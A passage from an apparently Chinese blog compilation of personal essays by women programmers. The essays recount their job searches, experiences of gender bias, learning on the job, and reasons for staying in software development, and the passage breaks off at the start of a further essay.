收到了第一个offer，就马上把自己卖了，这也是我的第一份工作，我是09年毕业的，当年市场确实也不怎么景气，有好些同学，都是在年末才找到工作，甚至先去上了个什么一万多的达内啊青鸟啊之类的软件培训课程。</p>\n<p>上班之后，也没多好受，原来老大当初把我招进来，有一个原因是想解决下公司内部单身男士的需求，给我的一般是轻活，自然奖金工资总比同进来的男生少（私底下交流过），自问没做得比他们少。值得庆幸的是我跟了一个不错的组长，他会给跟老大提出要求，可以给我安排些挑战性的任务，由于过去一年确实也收获不少，虽然不是在金钱上，一直比别人努力希望能纠正老大眼中的我是花瓶的感觉。</p>\n<p>同时，另一个困扰的问题是，可能女生少的原因，本人有几分姿色，在本部门受不少人追，风言风语不断，给我个人生活不少的精神压力，平时同事也会半开玩笑的说，嫁了吧，写什么代码，而且跟一些比较资深的程序员聊天时，总会呵呵的轻笑，然后说你是程序员啊。。。部门一些杂务，通常都扔了给我处理，这个我觉得吃点亏也没什么大事，但是就是忍受不了那种受轻视的感觉。</p>\n<p>处心积累了一年半，跳离了这个是非之地，目前在工作的公司。终于呼吸到新鲜的空气，现在整个开发团队，只有我一女的，开会什么的我就显得特别突出，办活动或者聚会什么的，总不能太融入他们，他们一帮程序猿，辟酒通宵桌游聊天，我总不能也凑上去喝个烂醉吧，活动吧，他们篮球啊足球啊，我根本掺和不上，剩下的就是大家吃个饭，感情上总是欠缺一些，但是他们都很照顾我和接纳我，也教会我了用很多的工具，大家总以邮件形式来分享代码中遇到的抽疯问题，白痴陷阱，即使错了也没关系，反正就是可拍砖可嘉奖，气氛相当的学习火热型。</p>\n<p>另外一样是，coding我们可能有共同语言，但退下工作后，基本上，跟一群男程序猿聊一起很难话题不多，偶尔遇到一两个话多一些风趣一些，其他都是木纳得很；而作为女性，当然会爱逛街爱八卦爱打扮，但同学已经各散东西，同事中没几个女的，生活已经没有几个女伴一起做女生爱做的事，而且，上班时，我总是小心翼翼不能穿得太性感，不打扮，怕会遭人闲语。</p>\n<p>呵呵。本文就一啰嗦。莫见怪。</p>\n</div>\n<div>\n<h5 style=\"font-size: 15px; margin: 5px 0px;\">Maya Maya – “左手代码，右手诗”</h5>\n<p>从小我喜欢画画，喜欢文学，上大学的时候，听了家人的意见，报了计算机，从此理想和现实分开。我大学毕业已经10多年了，当年毕业进了高校当老师，两年后为了爱情放弃舒适的生活来到北京北漂，对计算机不是那么爱好，开始做测试，后来转作网站开发，和互联网结下了不解之缘。互联网是节奏很快的公司，虽然自己年纪大了，可是和年轻人在一起，觉得自己心态还很年轻，哈哈~</p>\n<p>说起做技术，也是满腹心酸，刚到北京，一个小公司，老板不懂，今天说给我开发一个无纸办公室软件，明天那个，那个时候晚上下班累的洗脚时躺着就睡着了。可是自己没有放弃，逐渐喜欢上了技术，后来去了一家公司，有个大师级人物，虽然大家都说他性格古怪，可我和他相处很好，他算是我一个师傅，和他2年多，自己技术提高了不少，做技术的兴趣也多了很多。最苦的时候加班两个通宵，除了公司坐上出租车就睡着了，但是心里很充实很开心。</p>\n<p>女人做技术最怕就是世俗的偏见，尤其是过了30，生了孩子，明显感觉出来了，职业瓶颈。不少人劝我找个轻松的工作，可是我还是没有放弃，还在坚持，不是为了为了养家糊口，为了自己的心愿吧。我做事喜欢亲力亲为，每次招聘约小孩面试，他们都问我，你是助理吗？面试结束，小孩们又说，女的做技术很少的，做技术的女领导应该很严格吧。其实对于别人的任何看法，我从来都是笑笑不语，我带团队，总是希望新人能在我这里学到东西，走的时候能上一个更高的台阶，因人而异给他们提供机会。互联网发展快，我自己也要学习，不然就跟不上，我每天很早来公司，晚上也走得相对晚些，下班了才有自己时间看点东西，上班琐事太多。顾了公司顾不了家庭，回家是孩子睡了，老公一脸的不高兴，生活或许如此，不能尽善尽美。任何事情都有游戏规则，既然选择就要遵守。</p>\n<p>互联网的泡沫其实很多，我经常给刚毕业学生说，30岁之前不要看钱，而是给自己长本事，积攒资历。发现在线小孩浮躁的很多，很难静下心来认真做一件事情，总是看着别人的薪水多高，看别人的收获，却没看到别人背后的付出。</p>\n<p>程序员给人感觉都很闷，可是我喜欢读小说，红楼梦最爱，很喜欢惠新宸的那句话：“左手代码，右手诗。”</p>\n</div>\n<div>\n<h5 style=\"font-size: 15px; margin: 5px 0px;\">Joyic – 只要努力，一切皆有可能</h5>\n<p>看过“一个女程序员的故事”这篇文章，很有感触。我是2010年的硕士毕业生，也是个女生，和故事中的女主角比起来，我的故事其实才刚刚开始。或许平淡，但希望能给即将找工作，还在徘徊和犹豫的学弟学妹们一些鼓舞。</p>\n<p>经历的小学和初中的辉煌，经历了高中的低潮，我进入了一所211本科，不是985，一所不上不下的大学，专业是信息管理与信息系统。这个计算机相关专业让我接触到了C语言，数据结构，Java，Web编程以及数据库，我发现自己从来没对哪些课程有如此大的热情，这些热情带给我的动力以及对知识的渴望，换来的不仅仅是优异的成绩，最重要的，让我拾回了高中三年几乎丧失殆尽的信心，我又开始相信自己。</p>\n<p>转眼大四，与保研失之交臂，考研又没能进入理想的学校。又一次进入了一所不上不下的211学校，一切似乎又回到了原点，这次的专业是软件工程。不幸中的万幸，我还没离开自己喜欢的专业。研二的上半年，我得到了导师的一个横向项目，给四川的某出版社分社做一个信息管理系统。这是我得到的第一个锻炼机会，用的是最简单的jsp+servlet技术，系统结构不复杂但内容很庞大（就一个dev来说），我一个人硬着头皮码了十几万行的代码，需求、开发、安装、调试、培训一个人从头干到尾，中间多少次我都觉得自己做不了了，要放弃了，这个功能我完不成了，没时间了，咬咬牙，全过来了。现在想想，这个系统错露百出，但它使我完成了从无到有的涅槃，不再是看看书，写个百十来行的练习，是真正做出来个东西。</p>\n<p>完成了这个项目，对自己的信心又增强了。我有了下一个目标，找个实习，去IBM试试！</p>\n<p>以我所在的学校，能拿到IBM实习offer的人凤毛翎角。“应届生”网站上随时会有IBM招intern的消息，我的简历因为有了刚刚做过的这个项目，基本都能得到电话面试的机会。当时我的知识面还很窄，加上没有为面试好好复习过基础知识，屡试屡败，有时拿到面试也是铩羽而归。“WSDL是什么？”，“你对SOAP有什么了解？”，“设计模式你熟悉么？”，“解释一下Spring的依赖注入”一次次的失败也指引了我学习的方向。不会我就学么。至少面了5个team，我终于拿到了IBM的offer，当上了intern！现在想想，这个时刻带给我的喜悦甚至超过了我毕业真正找到工作的时候。我再一次给自己画了一条遥不可及的线，再一次把自己扔了过去。</p>\n<p>实习了不到一年，让我学到了很多，也适应的外企的工作环境。开始真正的找工作了。有学校的项目和IBM实习经历，我的简历更加丰满，加上自己经历多次intern的面试，积累了一些面试经验，很顺利的，我拿到了Oracle，IBM和我现在公司的Offer。</p>\n<p>工作到现在工作一年多了，有过一次promote，也得到了一次出国培训的机会。真正的工作中，我的技术和工作过3、5年的同事尚有差距，我把很大一部分精力放在了解业务上，通读了产品所有的design文档，对架构及所有workflow了然于心，专挑一些别人不愿碰的硬骨头，亦因此建立起自己在team中的reputation。</p>\n<p>最后，我想说，我身边也有在学校的时候就能写出操作系统的牛人，我也是无比尊敬和仰慕着他们。作为一个热爱着编程又天赋一般的普通人，没有清华北大北航北邮…的好出身，也没有根红苗正的计算机科学与技术专业背景，一步步的走过，被兴趣爱好还有自己的执着指引至今。</p>\n<p>给向往着大公司的学弟学妹们，可能你的学校使你没有运气在面试的时候发现面试官刚好是自己的师兄师姐，但只要努力，一切皆有可能。</p>\n<p>给我的老师和帮助过我的同事，你们引领我一步步走进了这个行业。</p>\n<p>还有我相伴7年的男友，我还记得大学的时候我们打电话时讨论技术，宿舍姐妹们看我的眼神儿。哈哈哈。</p>\n</div>\n<div>\n<h5 style=\"font-size: 15px; margin: 5px 0px;\">叨叨 – 为了忘却的纪念-我在恒生的七年</h5>\n<p><strong>叨叨的博客</strong><br/>\n<a href=\"http://blog.sina.com.cn/u/1892569084\" target=\"_blank\"> http://blog.sina.com.cn/u/1892569084</a></p>\n<p><span style=\"color: #ff0000;\">强烈建议大家看看这个连载，你一定能从中看到很多东西的</span></p>\n<ul>\n<li><strong>前传 </strong><a href=\"http://blog.sina.com.cn/s/blog_70ce4ffc01011h8z.html\" target=\"_blank\">http://blog.sina.com.cn/s/blog_70ce4ffc01011h8z.html</a></li>\n<li><strong>初出茅庐（上） </strong><a href=\"http://blog.sina.com.cn/s/blog_70ce4ffc01011h93.html\" target=\"_blank\">http://blog.sina.com.cn/s/blog_70ce4ffc01011h93.html</a></li>\n<li><strong>初出茅庐（下） </strong><a href=\"http://blog.sina.com.cn/s/blog_70ce4ffc01011hs6.html\" target=\"_blank\">http://blog.sina.com.cn/s/blog_70ce4ffc01011hs6.html</a></li>\n<li><strong>初露锋芒（上） </strong><a href=\"http://blog.sina.com.cn/s/blog_70ce4ffc01011igb.html\" target=\"_blank\">http://blog.sina.com.cn/s/blog_70ce4ffc01011igb.html</a></li>\n<li><strong>初露锋芒（下） </strong><a href=\"http://blog.sina.com.cn/s/blog_70ce4ffc01011j7z.html\" target=\"_blank\">http://blog.sina.com.cn/s/blog_70ce4ffc01011j7z.html</a></li>\n<li><strong>一波三折（上</strong>）<a href=\"http://blog.sina.com.cn/s/blog_70ce4ffc01011jur.html\" target=\"_blank\">http://blog.sina.com.cn/s/blog_70ce4ffc01011jur.html</a></li>\n</ul>\n<p>（本文发布时，这个故事还在继续中……）</p>\n</div>\n<div>\n<h5 style=\"font-size: 15px; margin: 5px 0px;\">Kelan – 在coding和修复bug中享受无限的快乐和价值感</h5>\n<p>我是一名入职不到一年的女程序员，很幸运，能进入一家知名的互联网公司做web开发，用的Java。我记得当时面试的时候，我在技术上毫无优势，公司要用到的很多框架，我都没有使用过，只是听说过，知道一点点概念，但是过了两个技术面，面试官很nice，觉得我有潜力。第三面是HR面，当时HR问我，为什么要做技术，我当时思都没思考就回答：喜欢！我一直很惊异这个答案，也许，那是一个连我都不敢相信的真实的答案。</p>\n<p>我在的team里面，就我一个女生，又是最小的，大家相当照顾我，在工作上给与了我很大的帮助，不得不提的是，我不仅遇到了一个很和谐的团队，还遇到了一个打着灯笼都难找的boss，对于这一点，我觉得也许是上辈子积了德，呵呵呵。也正因为他们对我很好，我在工作上不敢懈怠，我知道我基础很欠缺，我不想因为这个影响到整个团队。我会主动的去学习相关的东西，但是，从前的一些经历，让我对自己很不自信，当我看到同事游刃有余的处理工作，讨论技术，研究业务的时候，我很羡慕，同时也觉得自己很苍白，不知道何时才能和他们一样，同时也很害怕让他们失望。</p>\n<p>很多人都觉得女生就该做像女生的工作，比如hr，比如行政，做技术也可以选测试…我也有过疑惑迷茫的时候，不知道未来的路如何走，也想过自己是不是选对了职业的方向。但我不得不承认，coding和修复bug后给我带来了无限的快乐和价值感，那种感觉很好很好。</p>\n<p>我没有太多的分享工作经验，只是想说说自己的迷茫。我从前一直觉得，要做技术大牛才是技术人员的目标，而技术大牛四个字，我望尘莫及。我很堕落的想过，我可不可以不做技术大牛，我就写我的代码，去实现各种业务流程，做一个平凡的程序员，这样算不算不思进取？我看了你分享的文章后，觉得我的想法也许没有那么不堪，每个人都有选择成为哪种人的权利。既然现在的我喜欢code，那我就写好每天应该写好的code，至于以后，那是以后的事了。</p>\n<p>我觉得，也许很多女程序员和我有相同的困惑，不知道，有谁可以解惑？言语有些乱，因为最近也被这些问题烦扰。但我还是想给自己一个机会，在技术领域，至少五年，如果真的不适合，我放弃，去选择另一种人生；如果相反，呵呵呵，那我真是很幸运，从一开始就选对了路：-）</p>\n</div>\n<div>\n<h5 style=\"font-size: 15px; margin: 5px 0px;\">WaterMask – 踏踏实实的做coder，每天写好每一行代码</h5>\n<p>偶也是个女程序员，看了cool shell上的blog，发现同自己想法一样的人很多，我也想说说自己的事情。（可能会有点长，如果您能读完我会很荣幸，因为一直都是我读你的blog来着么，呵呵~）</p>\n<p>我是09届毕业生，加上实习时间也不过3年不到，所以还是个新手。</p>\n<p>毕业那年正赶上金融危机，就业形势一片糟糕。对于非名牌大学的我来说，简历通常都是石沉大海。身边的同学如果自家有门路的基本都舒舒服服的实习了或者考公务员什么，心里不是没有憋屈的。虽然自己家里也不是一点门路也没有，但是我还是想能靠自己的能力找到工作。（工作到现在我发现，做IT的都不喜欢走后门，大家都靠自己的实力面试工作之类的，恩~所以我更爱这个行当了~）</p>\n<p>我的专业是计算机科学与技术，所以除了程序员，我基本没有想过要做别的职业……不晓得为什么当时我会这么想</p>\n<p>实习的第一家公司是在一家展会公司做网管。公司在市中心的高档办公楼，只有一个hr面试我，没有任何的技术问题。接到录取电话的时候，还是开心极了，因为那时候简历投的基本要发狂了。之后去那边上班才发现受骗了，那家公司其实就只有一个部门——电话销售部门。所有的人每天都是不停的打电话做推销（原来那些成堆成堆卖客户资料的人都是卖给这种公司了……居然还有电话过去找的那人死了好多年的……）。于是我干了没几天就走了。</p>\n<p>沮丧的很，本来以为是难得的实习机会。因为知道自己其实除了计算机系毕业的外，连真正的代码也没有敲过几行，对于自己想干什么能干什么都很模糊。当时甚至觉得如果有一家软件公司肯要我，给我一个学习的平台，我工资也可以不要的……</p>\n<p>之后我认真修改了简历，也去了几家公司面试，不过可能因为技术方面太贫乏，都没有公司有回音。除了再接再厉外，我也没别的方法。正好当时学校里已经没有课了，只剩下毕业设计，于是我有大把的时间出去找工作。</p>\n<p>最后拿到offer的是一家民营公司，专做外包的。（虽然当时我对外包这次词其实不是很理解）我只能说我的运气很好，这家公司的hr是个很nice的姑娘，通过笔试面试之后，她还和我聊了很久，问我为什么非要做程序员之类的，而我也破天荒的说了很多心里的想法。（应届生面试总会事先准备一些问题和答案，有些可能会有点冠冕堂皇）。我记得我跟她说我觉得写程序应该是一件充满想象力和创造力的工作，我喜欢当完成一段代码像完成一件作品一样的成就感。面试完之后，我其实没想过会被录取，只是觉得把心里面的话说出来了，觉得很舒服。过了不久就接到去上班的通知了，心里是非常愉悦的，这次是真正的程序员了！</p>\n<p>开始工作之后才发现了梦想和现实之间的差距。因为是外包公司，所以项目进度非常的紧，而且需求也是三天两头的变。我所在的项目组一共5个人，却有6个项目在同是开工，其中3个人事项目经理。不过那时候的我没想那么多，加班就加班呗，我觉得是自己学习的机会。因为我是项目组里唯一的女生，所以大家都非常的照顾我。在写代码的过程中有遇到什么问题，基本都会抽时间帮我解决。有时候我怕会打扰别人就到网上搜搜解决办法，看看文档。每次靠自己解决问题之后，都会很有满足感。我觉得我所有的代码知识几乎都来源于实践，有点现学现卖的。</p>\n<p>在工作了一年之后，我甚至觉得自己进步的很快。因为有同事跳槽的关系，项目组里缺人，我居然开始一个人负责一个项目。天啊，我觉得自己太伟大了！是个网上办事的电子平台的OA项目，还有一些杂七杂八的附带功能，视频、聊天、发短信什么……面向的客户是政府机构，使用的人员基本也都是事业单位或者是公务员。（这就不难理解为啥要那些杂七杂八的功能……）</p>\n<p>我接受这个项目的时候已经是中后期，从跟客户需求沟通，到代码，到测试，到现场实施，到后期维护……几乎就是我一个人在做。其中的苦辣酸甜也就不谈了，常常被客户骂的饭也吃不下。我就这么浑浑噩噩的又干了半年左右，每天都是白天接到客户的需求变更或者使用的bug（测试也是我自己做的……所以bug非常多）下午代码，晚上就跑到客户机房去调试补环境……</p>\n<p>通过这样的长期反复，我开始思考自己一开始的初衷，我为什么要做程序员？我每天都要花很多的时间去理解和分析客户的需求，然后想尽办法修改我的代码，我的代码几经修改已经面目全非，已经没有任何代码质量和运行效率的考虑，纯粹只是为了实现功能而功能。由于工作时间的增加，我也看到了身边很多其他同事的工作状态，除了那些和我一样埋头苦干的所谓项目负责人外，其他的人都善于跟客户周旋，用一些看似很专业的辞藻去推脱用户提出的各种要求，实在推不了的，才勉为其难的答应下来。</p>\n<p>诚然，当公司把这个项目交给我的时候，我是充满热情的。但是现在，我终于清醒了。我想这不是我要的工作，我还只是一个刚刚毕业的本科生，不能夜郎自大的认为自己已经可以独挡一面。我根本不懂项目架构，不懂项目管理（虽然也木有人给我管理……），不懂得如何消化来自客户的需求并从中取舍（并不是客户所有的意见都要接受，这是我通过身体力行才了解到的……），我的能力仅仅停留在知其然而不知其所以然，我只能实现一个功能，但不知道怎样优化这个实现。所以我想，我应该去一个能教会我这些东西的地方</p>\n<p>2011年初的时候，我离开了原来的公司，到现在的公司上班。公司只有30多个人，研发部10人，测试部10人，剩下的有行政和销售。这是一家做产品的公司，产品主要涉及网络运维管理，安全策略啥的。公司非常注重产品质量，对于每次产品升级而变更的代码都会做code review，写的不好的地方就要改。也有详细的项目管理流程，项目经理会合理安排每一个时间节点的工作任务。在这样的环境下，对我的帮助是巨大的。</p>\n<p>一切都要重头开始学，我第一次写python因为之前一直习惯的分号结果而郁闷不已，第一次用vi编辑代码，折腾了大半天才码出了一段代码，小心奕奕的保存好……现在回头想想都觉得很有意思</p>\n<p>我也想过今后要往什么方向发展，是一直做技术？还是做管理？做前期需求？</p>\n<p>以前总以为做IT，就是写代码。但当自己干了这些日子，才明白软件工程的每一个环节都是非常重要的，程序员只是其中的一个环节。但是无论今后自己要转什么方向，程序员的经验一定会为我在IT行业打下坚实的烙印。</p>\n<p>我坚信一个不会写代码的管理者，一定不是一个优秀的管理者。</p>\n<p>IT行业和别的行业很大的不同是人。IT都很喜欢分享，只要肯问或者寻求帮助，就算对方不是很懂，也会非常乐意帮助我解决。我觉得这样的氛围很好，互帮互助，共同进步。这个是我在别的行当很少看到的。我有很多同学都会跟我抱怨她们办公室里错综复杂的人际关系，每天听到那些事情，我都会庆幸自己从未遇到过。</p>\n<p>所以我想，我现在非常喜欢自己的职业，喜欢自己的行当，我就踏踏实实的做好我的工作。我就是一个简单的coder，每天写好每一行代码就好。至于今后的发展，今后的职业规划也不用想的太细。既然我要一直混迹于IT这个行业，那么多做几年程序员不也挺好。顶着程序员这个头衔，我就需要不断的学习，不断的接触新鲜的知识，让自己不会落后。</p>\n</div>\n<div>\n<h5 style=\"font-size: 15px; margin: 5px 0px;\">禾禾木木 – 女程序员的路可以很长</h5>\n<p>简要的说下自己，本科调档不幸进入计算机行业，于是开始了跟计算机，跟开发的纠结。本科在一个很差很封闭的学校，就死学了，只会考试，实践的东西基本没有~考研上 了一个挺好的学校，可是因为一些原因只读了个跟计算机相关的专业，自己接了几个活做学院网站什么的，网站虽然基本是自己前端后端一个人忙乎乎地整起来的， 但是质量很差，重复的代码很多，现在想想，太恐怖了，那时候就知道，功能实现就ok了。现在很后悔在学校的时候，在思维最活跃的时候没有错接触点新的东西。</p>\n<p>毕业。来上海，在一家外资民企工作至今。</p>\n<p>之前在学校里女生很好，特别计算机这块的，女孩子真的是宝，受着宠。工作了就不一样了。虽然男人帮们还是很帮助女孩子的，但是，毕竟工作是靠绩效靠能力来权衡的，尤其是技术领域。按照你完成的事情多少和能力强弱来决定关注度的，虽然大家感情都不错，但是我还是能明显地感觉出来，因为自己能力比同组的男同胞差，老大不太敢把重要的事情给我做，承担不了重要的事情，在关注度，升职加薪等 等上面就打了很多折扣。</p>\n<p>为什么会坚持下来呢？因为喜欢这个行业，也因为自己学的是这个，也因为自己小小的虚荣心，因为一般大家听说女程序员都觉得是很牛的，似乎女孩子加上了这个职业就有个光环在头上，只是我的一个想法，不知道大家有没有这么想过~还有，这个职业对我来说还是蛮有吸引力的，我也喜欢做这些事情，虽然进步不快，但是看着自己整出来的东西大家玩的开心，自己也很开心。</p>\n<p>我虽然每天笑嘻嘻的，其实自己知道自己有多么辛苦。想写精致点的代码，重构，可是没有太多的时间，工作任务还是很重的，强度也大，基本上每个晚上到八九点走。要学习很多新的东西，我脑子还反应很慢，很多时候老大给同组的人讲的东西，可能大家马上就会了，可是我还是没听懂，老大会很无奈，我会记下来，有时间就去看。有时候会去关注下招聘的事情，不是为了跳槽，而是看看需要什么样的人，看到很多要求有开源代码经验的，在github上面整了代码的，我也会去关注，以后计划着自己整个人的网站，写技术文章，多交流。我还是很有热情和很负责的一个人，为了赶进度，周末两天都可以放工作进去，把上淘宝的时间都用来看新的东西了，逛街，基本一两个月去一次的。即便如此，老大从我们一个组走过，还是只会关心那些写代码写得好，事情做得好的人。虽然会很难过，但是我还是挺下来了。告诉自己说，既然坚持了这个行业，就开开心心地走下去，看看自己跟别人有什么不足，为什么会有差距，弥补弥补。这么坚持下来，虽然我还是没有同组的人进步快，但相比刚开始工作的时候，什么东西都不知道，还不知道该怎么去学，怎么去把程序写好，已经好了不知道多少倍。我也会去参加一些会议，去关注一些小组，在女孩子看韩剧的那些时间了，可能我关注的是一些技术的博客论坛等等，这么样，也增加了自己的见识等。我不敢说我现在是有多么强，至少，在我周围的认识的女孩子转行，退避的时候我坚持了下来，算是女孩子中不错的吧。</p>\n<p>觉得女孩子跟男孩子差别并不大。可能他们真的思维会不一样，劳动强度能更承担些，但是，其他的应该都还好。我有个朋友，也是女孩子在做开发，长得很漂亮，她 说她经常碰到了问题，一大帮男的会过来帮忙，依赖心很强。我觉得依赖心强的女孩子做不好开发的，男孩子做得好开发，是因为他们喜欢自己专研，依赖别人了会 被人瞧不起，但是如果是女生，基本上还是有求必应的，所以，很多时候做不好，是因为自己还不在悬崖边，还有很多绳子牵着，虽然不至于让自己摔死，但是也被 绊住了，前进不了。还有，我自己的观察，长时间的专注和精益求精也是写好程序的关键。我自己最缺乏的就是长时间的专注，于是在找bug，看源码方面就欠缺 了很多，不能深入进去，要有在茫茫多的代码中调试的那种心境，一点点地挖掘到底是哪里出问题了，哪里影响效率了，哪里内存泄露了，一点点地试验等，能力就 提高了。精益求精才能写出好的代码出来，我也是受着周围男人帮的影响，从马大哈，从写完了程序就想玩想放手变成了事关审视代码，看哪里能够重构，哪里能够 抽象，去掉重复等，代码才能写得好。</p>\n<p>曾经一度，自己也很喜欢抱怨，抱怨自己怎么就没有别人进步那么快，就得不到重视，还这么辛苦，想走人，那段时间也就是我自己觉得最虚度，最没有成效的时间。现在想想，与其这样，还不如拿出时间来好好做好自己的事情，如果真的承受不下去了，觉得自己真的不适合做这个行业了，那么就转吧。我看到过一些女孩子，做程序做得很轻松，她们很聪慧，或者很有方法，我不是这种人，在这里我想鼓励那些不是 天才的女孩子们，如果你在做开发这个行业，如果你喜欢这个，那么坚持自己吧~</p>\n<p>有人会说，做IT的女孩子，老得快。其实我觉得这说法也不全对。我周围也有些长得很漂亮，打扮得也很好，生活各方面都维持得很不错的女开发人员。很久以前看过有女孩子一边写着程序一边吃着芦荟啊，抹着各种护肤品，我们也可以做做瑜伽啊，平时煮点汤给自己补补脑子什么的，周末不宅着，去锻炼锻炼身体，虽然可能没那么多时间去逛街，但是也可以抽个空给自 己买些好看的衣服来让自己开心点。写程序的女孩子也是女孩子嘛。</p>\n<p>我没有讨论更多的技术方面的东西，我觉得工作态度，人生态度是很首要的。有个开心乐观的心境，加上好的方法和总结，我觉得，女孩子走程序员道路还是能走很长久的，也能做得很好。共勉。</p>\n</div>\n<div>\n<h5 style=\"font-size: 15px; margin: 5px 0px;\">Bana – 我是一名女程序员 我无怨无悔</h5>\n<p>我在大学学的是计算机与信息科学专业，那是大家有两个方向：计算机和数学。我想我以后肯定是不会从事计算机的，试想一个在电脑前面坐上一个小时就腰酸背痛的人&amp;不能熬夜的人，会从事计算机方面的工作吗？</p>\n<p>现实与人所想差距是很大的。一晃，我已经在IT行业混了3年多了。现在除了不能熬夜，叫我在电脑前面坐上12个小时，一点问题也没有。</p>\n<p>大学我考研是考的数学方面的。那时很是迷茫，不知道自己能干什么，在大学我全身心的投入到那些毫无意义的课本知识上，最后获得的只是一叠毫无价值的证书。考研没有考上我报考的学校。调剂到了另外一所学校，我没有打算读，但是竟然跑出复试了。也许是为了给大学生活句号吧。</p>\n<p>离校时间到了，我已经放弃了读研，而工作是没有着落的，我揣着优秀毕业生的证书被毕业了。毕业那一年的经历，对我打击很大。曾经的自信心，已经荡然无存。时至今日，才恢复得差不多了。2008年6月份，一个偶然的机会，让我走上了IT行业。</p>\n<p>在上海的一个朋友，他公司有人休产假要招人，他在他老大面前极力推荐我，结果就是他老大自掏腰包，出我往返的车费。当时我在湖北。当时的情况是：我只是在大三的时候考过一个程序员的东东，似乎在代码方面得分蛮高的（我记忆不好）。毕业设计的时候做了一个简单得不能再简单的发邮件的东东。我已经有一年没有碰任何跟代码有关的东西。就这样我从湖北跑去上海面试了。其实心里是没有底的，只是有一个强烈的愿望，一定要通过。我急需要改变目前的状况，这一次对于我意义重大。</p>\n<p>面试的时候，是朋友的老大和休产假的同事。也没有问什么，后来说叫我一个礼拜做一个用VB写的计算器。我应聘的工作是维护一个VB 6.0写的ERP系统。面试完后，我就赶紧整合多方资源来解决这个留给我的题目。从网上找相应的资料，寻找朋友的帮忙。</p>\n<p>回到湖北的时候，是表哥去接我的。我请的假比较长，就先去表哥那里啦。这时对于我来说，要紧要的事情就是完成那面试题目并Email出去。在坐了15个多小时的火车后（我坐的是硬座），一直到我把题目给解决后，一刻也不敢耽误。那时精神超好，后来题目解决后，我倒在床上就睡着了。把代码打包连带一篇非常诚恳的文字给面试的人发了过去，之后就焦急的等待结果。终于等来了电话，问我什么时候可以去上班，并说了薪水。当时我高兴坏了，辞了当时的工作，就奔赴上海了！</p>\n<p>最开始的一个月，很难熬啊。我什么都不懂的。专程跑出上海书城买了一本VB 6.0的书来看。等到了我适应得差不多的时候，公司发生了一件事，要裁员了。金融危机呀，当时心惶惶啊，好害怕自己被Fire掉了。因为我这个岗位当时招了2个人，而且我总觉得我是多余的。最后的结局是：我被调出负责另外一个用ASP写的OA系统。之前负责的那人被Fire掉了。</p>\n<p>ASP，我不会。当初老大问的时候，我说应该还好，没有什么问题的。当初说好交接时间是一个月的，那人不同意，最后说是一个星期完成交接。结果是她最后上班的一个星期，她只来了两天。My God！那段时间是我最难熬的时候，User的电话打个不停，而我都不知道怎么解决，而且也找不到人帮忙。真是叫天天不灵，叫地地不应的。全靠自己一点一点的摸索。最终工作终于是游刃有余了。但是ASP我只是皮毛。</p>\n<p>我最初进公司的目的是想学C#，直到09年7月份的时候才接触到了C#。公司的系统要进行改版，用C#来编写。之前的老大因为一些原因，离开了。当时我差点流眼泪了，如果当初不是他，我还不知道自己会怎么样，会不会一生就那样了，就是痛苦的一生了。</p>\n<p>新来的经理，对于我产生了很大的影响。他给我们培训C#的相关知识，其实韩磊翻译的那本经典的C#书籍我都不知道翻了多少篇了，但是因为没有操作，了解到的很少。当经理给我们培训的时候，有一种豁然开朗的感觉，听起来特别带劲。经理给我们讲了程式命名的规范，SP命名的规范，自此我一直按照这些规范来规范着自己。接着就写了关于人事系统的几个窗体。看书和写代码完全是两回事。</p>\n<p>新系统改版，我没有参与多少。能力不够的，在新系统上线（2010年10月份）的时候，了解了一些业务知识。当时心里很苦闷，我想做开发的，不想做维护的。维护做得没有意思，也学不到多少东西。而且要想学东西学得快的话，做开发是学得最快的。实际参与其中，才会去思考相应的解决方法。在寻找解决方法的过程中，就学到了东西。</p>\n<p>现有的工作岗位满足不了我的需求，但是此刻我又不能去找工作，因为我不自信。还是觉得自己什么都不会，其实也就是什么也不会。阅读是排遣痛苦最好的方法，我陆续的阅读了一些书籍。关于心理学方面的，在我认为，最重要的源头就是心理。找到了源头就好解决问题了。</p>\n<p>就这样，让我接触到了周金根的敏捷个人(有关敏捷个人的话题，需用另一篇日志来讲述)。2011年节后返回上海，当时上班没事看，我就看《遇见未知的自己》，因为我正面临着一个问题，不知道是怎么回事，就想从书里面寻找答案。谁知，看完不懂后，又跑出看了《秘密》。而敏捷练习也在进行着，在做个人生活方向盘的时候，我明白了什么对于我来说是最重要的。</p>\n<p>当下也就有了计划，准备换工作了。当对某事有着强烈的愿望时，那事一定会实现的。</p>\n<p>4月中旬，经理离职了，去武汉开公司。我就跟着经理回武汉了。这真是一个很好的机会，在武汉，我周末就可以回家。更重要的是，我做开发，做我喜欢做的事情。此时我已经找不到待在上海的意义了。家人和个人的前途对于我来说，是最重要的。</p>\n<p>经理建议我们至少读三本英文原文书籍，这样之后就看英文就不会排斥了。为什么看书呢？你解决某个问题的时候，在网上找到的资料时很片面的。书里面的知识比较全面，但是需要花时间。还推荐了一些关注的英文网站。Code Project 是必备的。提高搜商是必须的，找准问题的关键点。坚持每天看书。关键是要多思考。充分的运用各种知识的能力。</p>\n<p>我意识到某个地方不足的时候，会找相应的书籍来充电。让我一段时间不看书，会浑身不舒服的。当然我看的书的范围很广泛的。</p>\n<p>从事这个行业，本来就不是那么轻松的事情。而我不喜欢轻松的工作。这个行业不断的出现新的知识，需要不停的学习。其实不管哪个行业，都需要不停的学习，否则很快被淘汰的。</p>\n<p>爸妈曾经说过，如果我当初去读研，毕业后去学校教书就好了，工作稳定。未来的事情谁说得到呢。我不喜欢当老师，而且在这个变化莫测的社会，又有什么是稳定的呢？同学、朋友跟我讲，女孩子干这行太辛苦了，转行吧。可是我能够体会到乐趣所在。为自己写出了一段好的代码，或者是解决了某个困难的问题。</p>\n<p>这个行业要加班，熬夜，那么为什么不能从别的角度来看这个问题呢？提高自己的工作效率，管理好自己，是不是可以解决这个问题呢。</p>\n<p>这一年，我一直在修生养性，读灵修方面的书籍。人管理好自己后，其他的是不是就不是问题！</p>\n<p>从事这个行业，我无怨无悔。现在我还是菜鸟，需要学习的东西很多。未来的路还很长，我坚信我会走好的。</p>\n</div>\n<div>\n<h5 style=\"font-size: 15px; margin: 5px 0px;\">Cathy – 